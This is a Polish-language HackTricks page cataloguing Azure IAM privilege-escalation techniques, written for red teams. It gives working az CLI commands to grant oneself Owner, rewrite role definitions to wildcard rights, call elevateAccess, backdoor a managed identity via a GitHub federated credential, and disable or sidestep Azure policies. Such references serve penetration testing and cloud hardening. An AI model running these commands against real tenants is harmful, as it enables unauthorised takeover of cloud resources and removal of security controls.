Az - Azure IAM Privesc (Autoryzacja)

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Azure IAM

Aby uzyskać więcej informacji, zobacz:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

To uprawnienie pozwala przypisywać role principalom w określonym zakresie, umożliwiając atakującemu eskalację uprawnień poprzez przypisanie sobie roli o wyższych uprawnieniach:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

To uprawnienie pozwala modyfikować prawa przypisane do roli, co umożliwia atakującemu eskalację uprawnień przez przyznanie tej roli dodatkowych uprawnień.

Utwórz plik role.json z następującą zawartością:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Następnie zaktualizuj uprawnienia roli, używając poprzedniej definicji, wywołując:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

To uprawnienie pozwala na eskalację uprawnień i przypisywanie uprawnień dowolnemu principalowi w zasobach Azure. Ma być nadawane Entra ID Global Administrators, aby mogli również zarządzać uprawnieniami do zasobów Azure.

Tip

Myślę, że użytkownik musi być Global Administrator w Entra ID, aby wywołanie elevate zadziałało.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

To uprawnienie pozwala dodawać Federated credentials do managed identities. Np. przyznać Github Actions w repo dostęp do managed identity. Następnie umożliwia to uzyskanie dostępu do dowolnej zdefiniowanej przez użytkownika managed identity.

Przykładowe polecenie, aby przyznać repo w Github dostęp do managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Atakujący posiadający uprawnienie Microsoft.Authorization/policyAssignments/write lub Microsoft.Authorization/policyAssignments/delete nad grupą zarządzania, subskrypcją lub grupą zasobów może zmodyfikować lub usunąć przypisania zasad w Azure, co może potencjalnie wyłączyć ograniczenia bezpieczeństwa, które blokują określone operacje.

Pozwala to uzyskać dostęp do zasobów lub funkcji, które wcześniej były chronione przez zasady.

Usuń przypisanie zasad:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Wyłącz przypisanie zasad:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Zweryfikuj zmiany:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Atakujący posiadający uprawnienie Microsoft.Authorization/policyDefinitions/write może modyfikować definicje polityk Azure, zmieniając reguły, które kontrolują ograniczenia bezpieczeństwa w całym środowisku.

Na przykład polityka ograniczająca dozwolone regiony tworzenia zasobów może zostać zmieniona tak, aby zezwalać na dowolny region, albo efekt polityki może zostać zmieniony, aby uczynić ją nieskuteczną.

Modyfikacja definicji polityki:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Zweryfikuj zmiany:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Atakujący z uprawnieniem Microsoft.Management/managementGroups/write może zmodyfikować hierarchiczną strukturę management groups lub utworzyć nowe management groups, potencjalnie omijając restrykcyjne polityki zastosowane na wyższych poziomach.

Na przykład atakujący może utworzyć nowy management group bez restrykcyjnych polityk, a następnie przenieść do niego subscriptions.

Utwórz nowy management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modyfikacja hierarchii grup zarządzania:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Zweryfikuj zmiany:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Atakujący z uprawnieniem Microsoft.Management/managementGroups/subscriptions/write może przenosić subskrypcje pomiędzy management groups, co pozwala mu potencjalnie omijać restrykcyjne polityki poprzez przeniesienie subskrypcji do grupy o mniej restrykcyjnych lub braku polityk.

Przenieś subskrypcję do innej management group:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Zweryfikuj zmiany:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks